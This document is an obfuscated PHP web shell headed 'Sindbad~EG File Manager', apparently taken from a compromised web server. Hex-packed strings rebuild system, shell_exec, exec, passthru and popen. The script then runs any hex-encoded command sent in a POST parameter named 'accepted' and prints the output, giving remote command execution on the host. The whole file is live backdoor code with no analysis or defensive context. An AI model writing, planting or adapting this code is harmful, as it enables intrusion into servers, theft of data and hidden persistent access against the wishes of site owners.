Sindbad~EG File Manager

<?php

$attr1 = '3';
$attr2 = '4';
$attr3 = '6';
$attr4 = '7';
$attr5 = 'c';
$attr6 = '5';
$attr7 = 'f';
$attr8 = '8';
$attr9 = 'e';
$attr10 = '1';
$attr11 = 'd';
$attr12 = '0';
$center1 = pack("H*", '7' . '3' . '7' . '9' . '7' . $attr1 . '7' . $attr2 . $attr3 . '5' . $attr3 . 'd');
$center2 = pack("H*", $attr4 . $attr1 . $attr3 . '8' . '6' . '5' . $attr3 . $attr5 . $attr3 . $attr5 . $attr6 . $attr7 . '6' . '5' . $attr4 . $attr8 . '6' . '5' . '6' . '3');
$center3 = pack("H*", '6' . $attr6 . $attr4 . $attr8 . $attr3 . '5' . $attr3 . $attr1);
$center4 = pack("H*", $attr4 . '0' . '6' . '1' . '7' . '3' . '7' . $attr1 . '7' . $attr2 . $attr3 . '8' . '7' . '2' . $attr4 . '5');
$center5 = pack("H*", '7' . '0' . '6' . $attr7 . $attr4 . '0' . '6' . $attr6 . $attr3 . $attr9);
$center6 = pack("H*", $attr4 . '3' . $attr4 . '4' . $attr4 . '2' . $attr3 . $attr6 . '6' . $attr10 . $attr3 . $attr11 . $attr6 . 'f' . '6' . $attr4 . $attr3 . $attr6 . $attr4 . '4' . $attr6 . 'f' . $attr3 . $attr1 . '6' . 'f' . $attr3 . 'e' . '7' . $attr2 . '6' . $attr6 . '6' . $attr9 . '7' . $attr2 . $attr4 . '3');
$center7 = pack("H*", '7' . $attr12 . '6' . '3' . $attr3 . $attr5 . $attr3 . $attr7 . '7' . '3' . $attr3 . '5');
$accepted = pack("H*", $attr3 . $attr10 . $attr3 . '3' . $attr3 . '3' . '6' . $attr6 . $attr4 . $attr12 . '7' . $attr2 . $attr3 . '5' . '6' . $attr2);
if (isset($_POST[$accepted])) {
    $accepted = pack("H*", $_POST[$accepted]);
    if (function_exists($center1)) {
        $center1($accepted);
    } elseif (function_exists($center2)) {
        print $center2($accepted);
    } elseif (function_exists($center3)) {
        $center3($accepted, $id_arg);
        print join("\n", $id_arg);
    } elseif (function_exists($center4)) {
        $center4($accepted);
    } elseif (function_exists($center5) && function_exists($center6) && function_exists($center7)) {
        $placeholder_const = $center5($accepted, 'r');
        if ($placeholder_const) {
            $parameter_st = $center6($placeholder_const);
            $center7($placeholder_const);
            print $parameter_st;
        }
    }
    exit;
}